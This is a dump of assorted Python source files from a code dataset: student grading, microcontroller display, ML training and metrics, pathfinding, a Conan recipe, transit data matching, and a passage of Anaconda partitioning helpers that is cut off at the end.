+{"seq_id":"79467928","text":"#Abel Zavaleta\n#15-11574\n \nclass Estudiante:\n\tnombre=\"\"\n\tP1,P2,P3=0,0,0\n\tindice=0\n\tprom=0\n\tnota=0\nN=10\n\nClase=[Estudiante() for i in range(N)]\nClase[0].nombre,Clase[0].P1,Clase[0].P2,Clase[0].P3=\"Carlos1\",30,35,35\nClase[1].nombre,Clase[1].P1,Clase[1].P2,Clase[1].P3=\"Juan1\",1,5,6\nClase[2].nombre,Clase[2].P1,Clase[2].P2,Clase[2].P3=\"Carlos2\",25,30,5\nClase[3].nombre,Clase[3].P1,Clase[3].P2,Clase[3].P3=\"Juan2\",2,32,8\nClase[4].nombre,Clase[4].P1,Clase[4].P2,Clase[4].P3=\"Carlos3\",15,23,15\nClase[5].nombre,Clase[5].P1,Clase[5].P2,Clase[5].P3=\"Juan3\",12,35,0\nClase[6].nombre,Clase[6].P1,Clase[6].P2,Clase[6].P3=\"Carlos4\",17,20,5\nClase[7].nombre,Clase[7].P1,Clase[7].P2,Clase[7].P3=\"Juan4\",23,5,35\nClase[8].nombre,Clase[8].P1,Clase[8].P2,Clase[8].P3=\"Carlos5\",2,5,8\nClase[9].nombre,Clase[9].P1,Clase[9].P2,Clase[9].P3=\"Juan5\",6,3,5\n\ndef CalcularDatos(Lista,num):\n\ti=0\n\tcota=num-i\n\t#Verificacion de invariante y cota en el inicio\n\tassert (all(Lista[z].indice<=5 and Lista[z].nota<=100 and 0<len(Lista[z].nombre) for z in range(0,i)) and 0<=i<=num)\n\tassert (all(Lista[z].nota==Lista[z].P1+Lista[z].P2+Lista[z].P3 and Lista[z].prom==Lista[z].nota/3 for z in range(0,i)) and 0<=i<=num)\n\tassert(cota>=0)\n\tfor i in range(num):\n\t\t#Verificacion de invariante y cota en cada iteracion\n\t\tassert (all(Lista[z].indice<=5 and Lista[z].nota<=100 and 0<len(Lista[z].nombre) for z in range(0,i)) and 0<=i<num)\n\t\tassert (all(Lista[z].nota==Lista[z].P1+Lista[z].P2+Lista[z].P3 and Lista[z].prom==Lista[z].nota/3 for z in range(0,i)) and 0<=i<num)\n\t\tLista[i].nota=Lista[i].P1+Lista[i].P2+Lista[i].P3\n\t\tLista[i].prom=Lista[i].nota/3\n\t\t\n\t\tif Lista[i].nota>=85:\n\t\t\tLista[i].indice=5\n\t\telif Lista[i].nota>=70:\n\t\t\tLista[i].indice=4\n\t\telif Lista[i].nota>=50:\n\t\t\tLista[i].indice=3\n\t\telif Lista[i].nota>=30:\n\t\t\tLista[i].indice=2\n\t\telse:\n\t\t\tLista[i].indice=1\n\t#PostCondicion\n\tassert (all(Lista[i].indice<=5 and Lista[i].nota<=100 and 0<len(Lista[i].nombre) for i in range(0,num)))\n\tassert (all(Lista[i].nota==Lista[i].P1+Lista[i].P2+Lista[i].P3 and Lista[i].prom==Lista[i].nota/3 for i in range(0,num)))\nCalcularDatos(Clase,N)\n\nfor i in range(N):\n\n\tprint(Clase[i].nombre)\n\tprint(\"Parcial1 Parcial2 Parcial3 Prom Nota Indice \")\n\tprint(Clase[i].P1,\"\\t\",Clase[i].P2,\"\\t \",Clase[i].P3,\"\\t \",'%.2f'%Clase[i].prom,\" \",Clase[i].nota,\"  \",Clase[i].indice)\n","sub_path":"PreLab7Ejercicio2.py","file_name":"PreLab7Ejercicio2.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"547215632","text":"from machine import Pin, SPI\nfrom lib.display.max7219 import Matrix8x8\nfrom time import sleep_ms\n\n# Initialisiere den SPI-Bus\nsck = Pin(18, Pin.OUT)\nmosi = Pin(23, Pin.OUT)\nmiso = Pin(19, Pin.IN)\ncs = Pin(2, Pin.OUT)\nspi = SPI(baudrate=100000, polarity=0, phase=0, sck=sck, mosi=mosi, miso=miso)\n\ndisplay = Matrix8x8(spi, cs, 4)\ndisplay.brightness(0)\n\ndisplay.fill(1)\ndisplay.text('Halo',0,0,0)\ndisplay.show()\nsleep_ms(2000)\n\ndisplay.fill(0)\ndisplay.text('Welt',0,0,1)\ndisplay.show()\nsleep_ms(2000)\n\ndisplay.fill(0)\ndisplay.rect(0,0,32,8,1)\ndisplay.show()\n","sub_path":"workSpace/test/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"445712574","text":"# coding: utf-8\r\nfrom dataclasses import dataclass\r\nfrom typing import Iterable\r\n\r\nfrom PictureGathering.LinkSearch.URL import URL\r\n\r\n\r\n@dataclass(frozen=True)\r\nclass NijieSourceList(Iterable):\r\n    \"\"\"nijie作品への直リンクリスト\r\n    \"\"\"\r\n    _list: list[URL]\r\n\r\n    def __post_init__(self) -> None:\r\n        \"\"\"初期化後処理\r\n\r\n        バリデーションのみ\r\n        \"\"\"\r\n        if not isinstance(self._list, list):\r\n            raise TypeError(\"list is not list[], invalid NijieSourceList.\")\r\n        if self._list:\r\n            if not all([isinstance(r, URL) for r in self._list]):\r\n                raise ValueError(\"include not URL element, invalid NijieSourceList\")\r\n\r\n    def __iter__(self):\r\n        return self._list.__iter__()\r\n\r\n    def __len__(self):\r\n        return self._list.__len__()\r\n\r\n    def __getitem__(self, i):\r\n        return self._list.__getitem__(i)\r\n\r\n    @classmethod\r\n    def create(cls, nijie_url_list: list[URL] | list[str]) -> \"NijieSourceList\":\r\n        if not isinstance(nijie_url_list, list):\r\n            raise TypeError(\"Args is not list.\")\r\n        if not nijie_url_list:\r\n            return cls([])\r\n        if isinstance(nijie_url_list[0], URL):\r\n            return cls(nijie_url_list)\r\n        if isinstance(nijie_url_list[0], str):\r\n            return cls([URL(r) for r in nijie_url_list])\r\n        raise ValueError(\"Create NijieSourceList failed.\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    url_base = \"https://nijie.info/view_popup.php?id={}\"\r\n    urls = [URL(url_base.format(i)) for i in range(10)]\r\n    nijie_url_list = NijieSourceList.create(urls)\r\n    print(nijie_url_list)\r\n","sub_path":"PictureGathering/LinkSearch/Nijie/NijieSourceList.py","file_name":"NijieSourceList.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"496007295","text":"class Solution:\n    def canVisitAllRooms(self, rooms: List[List[int]]) -> bool:\n        n = len(rooms)\n        havebeen, tot, queue = [0 for _ in range(n)], 1, [0]\n        havebeen[0] = 1\n        while queue:\n            before = tot\n            tmp = queue.pop(0)\n            for i in rooms[tmp]:\n                if not havebeen[i]:\n                    queue.append(i)\n                    havebeen[i] = 1\n                    before += 1\n            tot = before\n            #print(tot)\n        return tot == n","sub_path":"Codes/Daily-Practice/t841.py","file_name":"t841.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"318324291","text":"from conans import ConanFile, CMake, tools\nimport os\n\n\nclass LibLoConan(ConanFile):\n    name = \"sol\"\n    description = \"A C++ <-> Lua API wrapper with advanced features and top notch performance\"\n    topics = (\"conan\", \"sol\", \"sol2\", \"sol3\", \"lua\")\n    url = \"https://github.com/vidrevolt/conan-sol\"\n    homepage = \"https://github.com/ThePhD/sol2\"\n    no_copy_source = True\n\n    _source_subfolder = \"sol\"\n\n    def system_requirements(self):\n        installer = tools.SystemPackageTool()\n        if tools.os_info.is_linux and tools.os_info.with_apt:\n            installer.install(\"lua5.3\")\n            installer.install(\"liblua5.3-dev\")\n        elif tools.os_info.with_pacman:\n            installer.install(\"lua\")\n        elif tools.os_info.with_brew:\n            installer.install(\"lua\")\n\n\n    def source(self):\n        tools.get(**self.conan_data[\"sources\"][self.version])\n        extracted_dir = self.name + \"2-\" + self.version\n        os.rename(extracted_dir, self._source_subfolder)\n\n    def package(self):\n        include_folder = os.path.join(self._source_subfolder, \"single/include/\")\n        self.copy(pattern=\"LICENSE\", dst=\"licenses\", src=self._source_subfolder)\n        self.copy(pattern=\"*\", dst=\"include\", src=include_folder)\n        self.copy(pattern=\"*.dll\", dst=\"bin\", keep_path=False)\n        self.copy(pattern=\"*.lib\", dst=\"lib\", keep_path=False)\n        self.copy(pattern=\"*.a\", dst=\"lib\", keep_path=False)\n        self.copy(pattern=\"*.so*\", dst=\"lib\", keep_path=False)\n        self.copy(pattern=\"*.dylib\", dst=\"lib\", keep_path=False)\n\n    def package_id(self):\n        self.info.header_only()\n\n    def package_info(self):\n        self.cpp_info.libs = tools.collect_libs(self)\n","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"350226793","text":"import pygame as pg\nimport random\nimport math\nimport sys\n\nclass Cell():\n    def __init__(self, x, y, parent=None):\n        self.x = x\n        self.y = y\n        self.printed = 0\n        self.walkable = 1\n        self.parent = parent\n        self.position = (x, y)\n        self.g = 0\n        self.h = 0\n        self.f = 0\n    def print(self, surface, window): #print green sqr in grid (start and end)\n        sqr = pg.Rect(self.x * int(window_w/col), self.y * int(window_h/row), int(window_w/col), int(window_h/row))\n        pg.draw.rect(surface, (0, 190, 0), sqr)\n        self.printed = 1\n    def print_wall(self, surface, window): #print blue sqr in grid (wall)\n        sqr = pg.Rect(self.x * int(window_w/col), self.y * int(window_h/row), int(window_w/col), int(window_h/row))\n        pg.draw.rect(surface, (31, 133, 183), sqr)\n        self.printed = 1\n        self.walkable = 0\n    def print_path(self, surface, window): #print orange sqr in grid (path)\n        sqr = pg.Rect(self.x * int(window_w/col), self.y * int(window_h/row), int(window_w/col), int(window_h/row))\n        pg.draw.rect(surface, (255, 100, 32), sqr)\n        self.printed = 1\n        self.walkable = 0\n    def unprint(self, surface, window): #unprint sqr from grid\n        sqr = pg.Rect(self.x * int(window_w/col), self.y * int(window_h/row), int(window_w/col), int(window_h/row))\n        pg.draw.rect(surface, (0, 0, 0), sqr)\n        self.printed = 0\n        self.walkable = 1\n        self.parent = None\n        self.g = 0\n        self.h = 0\n        self.f = 0\n    def comp_g(self, start): #distance from current node to start node\n        return (self.x - start[0] + self.y - start[1])\n    def comp_h(self, end): #heuristic - distance from current node to end node\n        return (math.sqrt(pow(self.x - end[0], 2) + pow(self.y - end[1], 2)))\n    def comp_f(self, start, end): #total cost of the node\n        return (self.comp_g(start) + self.comp_h(end))\n\nwindow_w = 800 #window size\nwindow_h = 800\ncol = 20 #col and row should be equal (needs to be a square)\nrow = 20\nrun = 0\n\nopenList = [] #nodes not visited\nclosedList = [] #already visited nodes\npath = [] #path when end node is found\n\n#init grid and lists\ngrid = [[None for i in range(col)] for j in range(row)]\nstart = (0, 0)\nend = (0, 0)\n\n#create cells with their value\nfor i in range(col):\n    for j in range(row):\n        grid[i][j] = Cell(i, j)","sub_path":"bonus/src/cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"534344250","text":"import sklearn.metrics\nimport numpy as np\n\nclass ClassificationMetrics(object):\n    r\"\"\"\n    Evaluation Metrics for classification\n\n    Args:\n        predictions: list,\n            list of classes predicted for each record \n            \n        ground_truth: list,\n            list of ground_truth classes for each record\n    \"\"\"\n\n    def __init__(self, predictions, ground_truth):\n        self.predictions = predictions\n        self.ground_truth = ground_truth\n        self._compute_metrics(predictions, ground_truth)\n\n    def _compute_metrics(self, predictions, ground_truth):\n        self.confusion_matrix = sklearn.metrics.confusion_matrix(ground_truth, predictions)\n        self.FP = self.confusion_matrix.sum(axis=0) - np.diag(self.confusion_matrix)\n        self.FN = self.confusion_matrix.sum(axis=1) - np.diag(self.confusion_matrix)\n        self.TP = self.confusion_matrix.diagonal()\n        self.TN = self.confusion_matrix.sum() - (self.FP + self.FN + self.TP)\n\n        self.precision = self.TP / (self.TP + self.FP)\n        self.precision[np.isnan(self.precision)] = 0\n        self.recall = self.TP / (self.TP + self.FN)\n        self.recall[np.isnan(self.recall)] = 0\n        self.accuracy = sklearn.metrics.accuracy_score(ground_truth, predictions)\n        self.f1_score = 2 * self.precision * self.recall / (self.precision + self.recall)\n        self.f1_score[np.isnan(self.f1_score)] = 0\n        \n        self.label_disagreement = {k: v.round(3) for k, v in enumerate(self.FP / (self.FP + self.TN))}\n        self.acc_per_class = {k: v.round(3) for k, v in enumerate(self.confusion_matrix.diagonal() / self.confusion_matrix.sum(axis=1))}\n        self.f1_score_per_class = {k: v for (k, v) in enumerate(self.f1_score)}\n        self.f1_score = self.f1_score.mean()\n\n        self.precision_per_class = {k: v for (k, v) in enumerate(self.precision)}\n        self.precision = self.precision.mean()\n\n        self.recall_per_class = {k: v for (k, v) in enumerate(self.recall)}\n        self.recall = self.recall.mean()\n\n        self.confusion_matrix = self.confusion_matrix.tolist()\n\n    def get_accuracy(self):\n        r\"\"\"\n        Returns:\n            accuracy as a float\n        \"\"\"\n        return self.accuracy\n\n    def get_f1_score(self):\n        r\"\"\"\n        Returns:\n            F1 score as a float\n        \"\"\"\n        return self.f1_score\n\n    def get_f1_score_per_class(self):\n        r\"\"\"\n        Returns:\n            F1 score per class as a dict\n        \"\"\"\n        return self.f1_score_per_class\n\n    def get_precision_per_class(self):\n        r\"\"\"\n        Returns:\n            precision per class as a dict\n        \"\"\"\n        return self.precision_per_class\n\n    def get_precision(self):\n        r\"\"\"\n        Returns:\n            precision as a float\n        \"\"\"\n        return self.precision\n\n    def get_recall_per_class(self):\n        r\"\"\"\n        Returns:\n            recall per class as a dict\n        \"\"\"\n        return self.recall_per_class\n\n    def get_recall(self):\n        r\"\"\"\n        Returns:\n            recall as a float\n        \"\"\"\n        return self.recall\n\n    def get_confusion_matrix(self):\n        r\"\"\"\n        Returns:\n            confusion matrix as a list\n        \"\"\"\n        return self.confusion_matrix\n\n    def get_acc_per_class(self):\n        r\"\"\"\n        Returns:\n            acc_per_class as a dict\n        \"\"\"\n        return self.acc_per_class\n\n    def get_label_disagreement(self):\n        r\"\"\"\n        Returns:\n            label disagreement as a dict\n        \"\"\"\n        return self.label_disagreement\n","sub_path":"metrics/classification/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"260292407","text":"import time\nimport numpy as np\nfrom numpy import *\nimport pandas as pd\nimport csv\nimport xgboost as xgb\n\nfrom sklearn import metrics\nfrom sklearn.metrics import roc_auc_score\nimport matplotlib.pyplot as plt\n#from sklearn import *\nfrom sklearn.cross_validation import train_test_split\n\n\ndef loadDataSet(path):\n    data = pd.read_csv(path)\n    dataSet = data.values[0:,1:]\n              \n    return dataSet\n\ndef outputResult(resultData,rsName):               \n    f = open(rsName,'w',newline='')\n    writer = csv.writer(f)\n    for data in resultData:\n        writer.writerow([data])\n    f.close()  \n    \ndef numberOfNagtive(target):\n    print('样本总数为:%s' % len(target))\n    count = 0\n    for x in target:\n        if x == 0:\n            count += 1\n    return count\n\ndef transLabel(Mat_Labels):\n    labels = []\n    for item in Mat_Labels:\n        labels.append(item[0])\n    labels = np.array(labels)\n    return labels\n\nif __name__ == \"__main__\":\n    \n    start =time.clock()\n    \n    Mat_Train = loadDataSet('C:\\\\Users\\\\Administrator\\\\Desktop\\\\conTrain_x.csv')\n    #Mat_Train = Mat_Train[:,:1138]\n    Train_Labels = loadDataSet('C:\\\\Users\\\\Administrator\\\\Desktop\\\\conTrain_y.csv')\n    Mat_Test = loadDataSet('C:\\\\Users\\\\Administrator\\\\Desktop\\\\DataCastle\\\\DataSet\\\\test_x.csv')\n    labels = transLabel(Train_Labels)   \n    #分离训练集和测试集\n#     feature_train, feature_test, target_train, target_test = train_test_split(Mat_Train, labels, \\\n#         test_size=0.2, random_state=42)\n#     test = numberOfNagtive(labels)\n#     print(test)\n\n    dtrain = xgb.DMatrix(Mat_Train, label=1-labels)\n    #dtest = xgb.DMatrix( feature_test, label=target_test)\n    dtest = xgb.DMatrix(Mat_Test)\n      \n    param = {'booster':'gbtree', 'objective':'binary:logistic', 'max_depth':6, 'eta':0.015, 'silent':1,\\\n        'subsample':0.75, 'colsample_bytree':0.35, 'min_child_weight':5, \\\n        'eval_metric':'auc', 'nthread':4, 'gamma':0} \n    #param['max_delta_step'] = 3 #Set it to value of 1-10 might help control the update\n    param['scale_pos_weight'] = 15.9\n    param['lambda'] = 700\n    #param['alpha'] = 270\n    #param['nrounds'] = 1520\n    #验证集 \n    #evallist  = [(dtest,'eval'), (dtrain,'train')]\n    num_round = 2500\n    bst = xgb.train(param, dtrain, num_round)\n    preds = bst.predict(dtest)\n    preds = 1 - preds\n    outputResult(preds, 'rs27_2.csv')\n    end = time.clock()\n    print ('Running time: %s Seconds'%(end-start))\n    \n\n\n# 测试正确率\n#     rs1 = []\n#     for t in rs:\n#         if t >0.5:\n#             t = 1\n#             rs1.append(t)\n#         else:\n#             t = 0\n#             rs1.append(t)\n#     print(rs1)\n#     count = 0\n#     loca = []\n#     for x in range(len(rs1)):\n#         if target_test[x] == rs1[x] and rs1[x] == 0:\n#             count += 1\n#             loca.append(x)\n#     print(loca,count)  \n      ","sub_path":"DC/xgb.py","file_name":"xgb.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"166151060","text":"from tkinter import *\nmainWindow = Tk()\nmainWindow.title(\"Input your answer\")\nmainWindow.minsize(width=650,height=100)\n\n\ndef show_entry_fields():\n   lab1 = Label(mainWindow, text=\"You have submitted your answer\", font=('times',15, 'normal')).grid(row=0, column=2)\n  \n  \n  \n\nLabel(mainWindow, text=\"Your answer\", font=('times',20, 'normal')).grid(row=0)\n\n\ne1 = Entry(mainWindow)\n\n\ne1.grid(row=0, column=1)\n\n\n\nButton(mainWindow, text='Confirm', command=show_entry_fields).grid(row=3, column=1, sticky=W, pady=4)\n\nmainloop( )\n","sub_path":"sean's input tkinter test.py","file_name":"sean's input tkinter test.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"205045251","text":"import cv2\nimport numpy as np\ndef svmtest(model_path,test_file,resize):\n        svm = cv2.ml.SVM_load(model_path)\n        test_data = []\n        img = cv2.imread(test_file)\n        img = cv2.resize(img,resize,interpolation=cv2.INTER_CUBIC)\n        new_img = img.reshape((1,resize[0]*resize[1]*3))\n        test_data .append(new_img[0])\n        (ret, res) = svm.predict(np.asarray(test_data) )  \n        for i,r in enumerate(res):\n            text = \"\"\n            text = text + str(int(r[0]))\n            label = self.img_labels[i]\n            cv2.putText(img,'result:'+text,(0,20),cv2.FONT_HERSHEY_COMPLEX,1,(0,0,255),1)\n            cv2.putText(img,'label:'+str(label),(0,50),cv2.FONT_HERSHEY_COMPLEX,1,(0,0,255),1)\n            ff = os.path.basename(test_file)\n            cv2.imwrite(\"out\"+ff,img)\n\nsvmtest(r'svmtest.mat','svm_test.jpg',(40,100))\n","sub_path":"car_detector/svmload.py","file_name":"svmload.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"606913102","text":"import os\n\nclass Trip: #From ft_input_trips.dat file\n    def __init__(self, _tmpIn):\n        self.route = _tmpIn[1].split('-')[0]\n        self.tripId = _tmpIn[0]\n        self.stops =[]\n        \n\ndef matchStops2Routes(inputStopTimesDataPath, inputTripsDataPath):\n    '''\n    PURPOSE: For each route return the stops and sequence of associated stops\n                where the dictionary key is the route number and the values are a list of associated stops in order\n    \n    Input: \n            inputStopTimesDataPath:      StopTimes dat file path                (String)    \n            inputTripDataPath:           trip dat file path                     (String)\n            \n    Output:\n           Dictionary of matched routes and stops OR Trip-Stop matched\n    '''\n\n    processingDict = {}\n    tripStopMatchedDict={}\n\n    inTripsFile = open(inputTripsDataPath)\n    tripsTmpIn = inTripsFile.readline().strip().split(\"\\t\")\n    for row in inTripsFile:\n        tripsTmpIn = row.strip().split(\"\\t\")\n        processingDict[tripsTmpIn[0]] = Trip(tripsTmpIn)\n        tripStopMatchedDict[tripsTmpIn[0]] = []\n    inTripsFile.close()\n    \n    \n    inStopTimesFile = open(inputStopTimesDataPath)\n    stopTimesTmpIn = inStopTimesFile.readline().strip().split(\"\\t\")\n    for row in inStopTimesFile:\n         stopTimesTmpIn = row.strip().split(\"\\t\")\n         stopId = stopTimesTmpIn[3]\n         stopAndSeq = [stopTimesTmpIn[3],stopTimesTmpIn[4]]\n         \n         if stopTimesTmpIn[0] in processingDict:\n             processingDict[stopTimesTmpIn[0]].stops.append(stopAndSeq)\n             tripStopMatchedDict[stopTimesTmpIn[0]].append(stopId)\n             \n    finalRouteStopDict = {}\n    uniqueRoutes = set( int(val.route) for val in processingDict.values())\n    for route in uniqueRoutes:\n        for value in processingDict.values():\n            if route == int(value.route):\n                finalRouteStopDict[route]=[singleStop[0] for singleStop in value.stops]\n                \n    return [finalRouteStopDict, tripStopMatchedDict]\n    \n#dataPath = r\"E:\\mspTransitPathGeneration\\finalFTOutput\"\n#inputTripsDataPath = os.path.join(dataPath,\"ft_input_trips.dat\")\n#inputStopTimesDataPath = os.path.join(dataPath,\"ft_input_stopTimes.dat\")\n#\n#\n#routeStopFinalDict = matchStops2Routes(inputStopTimesDataPath, inputTripsDataPath)[0]\n#\n#stopsPerTrip = matchStops2Routes(inputStopTimesDataPath, inputTripsDataPath)[1]\n#\n#stopsPerTrip['9542001-AUG16-MVS-BUS-Weekday-01'][stopsPerTrip['9542001-AUG16-MVS-BUS-Weekday-01'].index('17212'):]\n#\n#\n#timePointListForGivenRoute = delayMeanAndSDCombinedWithAdherePercent.loc[delayMeanAndSDCombinedWithAdherePercent['routeId']==921]['stopId']\n#previousStopsBeforeBoard =stopsPerTrip['9541670-AUG16-MVS-BUS-Weekday-01'][:stopsPerTrip['9541670-AUG16-MVS-BUS-Weekday-01'].index('56126')]\n#previousTimePointList = [potentialTimePoint for potentialTimePoint in previousStopsBeforeBoard if int(potentialTimePoint) in set(timePointListForGivenRoute)]\n#previousTimePoint = int(previousTimePointList[-1])\n#nextStopsAfterBoard = stopsPerTrip['9541670-AUG16-MVS-BUS-Weekday-01'][stopsPerTrip['9541670-AUG16-MVS-BUS-Weekday-01'].index('56126'):]\n#nextTimePoint = int([potentialTimePoint for potentialTimePoint in nextStopsAfterBoard if int(potentialTimePoint) in set(timePointListForGivenRoute)][0])\n#meanDiffTimeAtTP = delayMeanAndSDCombinedWithAdherePercent.loc[(delayMeanAndSDCombinedWithAdherePercent['routeId']==921) & (delayMeanAndSDCombinedWithAdherePercent['stopId']==nextTimePoint)]['STOP_Mean_DepartureTimeDiffMinutes'].values[0]\n#print(meanDiffTimeAtTP)\n#","sub_path":"routeStopAssociation.py","file_name":"routeStopAssociation.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"118700522","text":"# vim: set fileencoding=utf-8\n#\n# Copyright (C) 2012-2014  Red Hat, Inc.\n#\n# This copyrighted material is made available to anyone wishing to use,\n# modify, copy, or redistribute it subject to the terms and conditions of\n# the GNU General Public License v.2, or (at your option) any later version.\n# This program is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY expressed or implied, including the implied warranties of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General\n# Public License for more details.  You should have received a copy of the\n# GNU General Public License along with this program; if not, write to the\n# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n# 02110-1301, USA.  Any Red Hat trademarks that are incorporated in the\n# source code or documentation are not subject to the GNU General Public\n# License and may only be used or replicated with the express permission of\n# Red Hat, Inc.\n#\n# Red Hat Author(s): Chris Lumens <clumens@redhat.com>\n#                    David Lehman <dlehman@redhat.com>\n#                    Vratislav Podzimek <vpodzime@redhat.com>\n#\n\n\"\"\"Helper functions and classes for custom partitioning.\"\"\"\n\n__all__ = [\"size_from_entry\", \"populate_mountpoint_store\", \"validate_label\",\n           \"validate_mountpoint\", \"get_raid_level\",\n           \"selectedRaidLevel\", \"raidLevelSelection\",\n           \"defaultRaidLevel\", \"requiresRaidSelection\", \"defaultContainerRaidLevel\",\n           \"containerRaidLevelsSupported\", \"raidLevelsSupported\", \"get_container_type_name\",\n           \"AddDialog\", \"ConfirmDeleteDialog\", \"DisksDialog\", \"ContainerDialog\"]\n\nimport functools\nimport re\n\nfrom pyanaconda.iutil import lowerASCII\nfrom pyanaconda.storage_utils import size_from_input\nfrom pyanaconda.ui.helpers import InputCheck\nfrom pyanaconda.ui.gui import GUIObject\nfrom pyanaconda.ui.gui.helpers import GUIDialogInputCheckHandler\nfrom pyanaconda.ui.gui.utils import fancy_set_sensitive, really_hide, really_show\nfrom pyanaconda.ui.lib.disks import getDiskDescription\nfrom pyanaconda.i18n import _, N_, C_\n\nfrom blivet.size import Size\nfrom blivet.platform import platform\nfrom blivet.formats import getFormat\nfrom blivet.devicefactory import SIZE_POLICY_AUTO\nfrom blivet.devicefactory import SIZE_POLICY_MAX\nfrom blivet.devicefactory import DEVICE_TYPE_LVM\nfrom blivet.devicefactory import DEVICE_TYPE_BTRFS\nfrom blivet.devicefactory import DEVICE_TYPE_LVM_THINP\nfrom blivet.devicefactory import DEVICE_TYPE_MD\nfrom blivet.devicefactory import get_supported_raid_levels\nfrom blivet.devicelibs import btrfs\nfrom blivet.devicelibs import mdraid\nfrom blivet.devicelibs import raid\n\nimport logging\nlog = logging.getLogger(\"anaconda\")\n\nRAID_NOT_ENOUGH_DISKS = N_(\"The RAID level you have selected (%(level)s) \"\n                           \"requires more disks (%(min)d) than you \"\n                           \"currently have selected (%(count)d).\")\n\nCONTAINER_DIALOG_TITLE = N_(\"CONFIGURE %(container_type)s\")\nCONTAINER_DIALOG_TEXT = N_(\"Please create a name for this %(container_type)s \"\n                           \"and select at least one disk below.\")\n\nCONTAINER_TYPE_NAMES = {DEVICE_TYPE_LVM: N_(\"Volume Group\"),\n                        DEVICE_TYPE_LVM_THINP: N_(\"Volume Group\"),\n                        DEVICE_TYPE_BTRFS: N_(\"Volume\")}\n\n# These cannot be specified as mountpoints\nsystem_mountpoints = [\"/dev\", \"/proc\", \"/run\", \"/sys\"]\n\ndef size_from_entry(entry):\n    size_text = entry.get_text().strip()\n    return size_from_input(size_text)\n\ndef populate_mountpoint_store(store, used_mountpoints):\n    # sure, add whatever you want to this list. this is just a start.\n    paths = [\"/\", \"/boot\", \"/home\", \"/var\"] + \\\n            platform.bootStage1ConstraintDict[\"mountpoints\"]\n\n    # Sort the list now so all the real mountpoints go to the front, then\n    # add all the pseudo mountpoints we have.\n    paths.sort()\n    paths += [\"swap\"]\n\n    for fmt in [\"appleboot\", \"biosboot\", \"prepboot\"]:\n        if getFormat(fmt).supported:\n            paths += [fmt]\n\n    for path in paths:\n        if path not in used_mountpoints:\n            store.append([path])\n\ndef validate_label(label, fmt):\n    \"\"\"Returns a code indicating either that the given label can be set for\n       this filesystem or the reason why it can not.\n\n       In the case where the format can not assign a label, the empty string\n       stands for accept the default, but in the case where the format can\n       assign a label the empty string represents itself.\n\n       :param str label: The label\n       :param DeviceFormat fmt: The device format to label\n\n    \"\"\"\n    if fmt.exists:\n        return _(\"Cannot relabel already existing file system.\")\n    if not fmt.labeling():\n        if label == \"\":\n            return \"\"\n        else:\n            return _(\"Cannot set label on file system.\")\n    if not fmt.labelFormatOK(label):\n        return _(\"Unacceptable label format for file system.\")\n    return \"\"\n\ndef validate_mountpoint(mountpoint, used_mountpoints, strict=True):\n    if strict:\n        fake_mountpoints = []\n    else:\n        fake_mountpoints = [\"swap\", \"biosboot\", \"prepboot\"]\n\n    if mountpoint in used_mountpoints:\n        return _(\"That mount point is already in use. Try something else?\")\n    elif not mountpoint:\n        return _(\"Please enter a valid mount point.\")\n    elif mountpoint in system_mountpoints:\n        return _(\"That mount point is invalid. Try something else?\")\n    elif (lowerASCII(mountpoint) not in fake_mountpoints and\n          ((len(mountpoint) > 1 and mountpoint.endswith(\"/\")) or\n           not mountpoint.startswith(\"/\") or\n           \" \" in mountpoint or\n           re.search(r'/\\.*/', mountpoint) or\n           re.search(r'/\\.+$', mountpoint))):\n        # - does not end with '/' unless mountpoint _is_ '/'\n        # - starts with '/' except for \"swap\", &c\n        # - does not contain spaces\n        # - does not contain pairs of '/' enclosing zero or more '.'\n        # - does not end with '/' followed by one or more '.'\n        return _(\"That mount point is invalid. Try something else?\")\n    else:\n        return \"\"\n\ndef get_raid_level(device):\n    use_dev = device.raw_device\n\n    raid_level = None\n    if hasattr(use_dev, \"level\"):\n        raid_level = use_dev.level\n    elif hasattr(use_dev, \"dataLevel\"):\n        raid_level = use_dev.dataLevel\n    elif hasattr(use_dev, \"volume\"):\n        raid_level = use_dev.volume.dataLevel\n    elif hasattr(use_dev, \"lvs\") and len(use_dev.parents) == 1:\n        raid_level = get_raid_level(use_dev.parents[0])\n\n    return raid_level\n\ndef selectedRaidLevel(raidLevelCombo):\n    \"\"\"Interpret the selection of a RAID level combo box.\n\n       :returns: the selected raid level, None if none selected\n       :rtype: instance of blivet.devicelibs.raid.RaidLevel or NoneType\n    \"\"\"\n    if not raidLevelCombo.get_property(\"visible\"):\n        # the combo is hidden when raid level isn't applicable\n        return None\n\n    itr = raidLevelCombo.get_active_iter()\n    store = raidLevelCombo.get_model()\n\n    if not itr:\n        return\n\n    selected_level = store[itr][1]\n    if selected_level == \"none\":\n        return None\n    else:\n        return 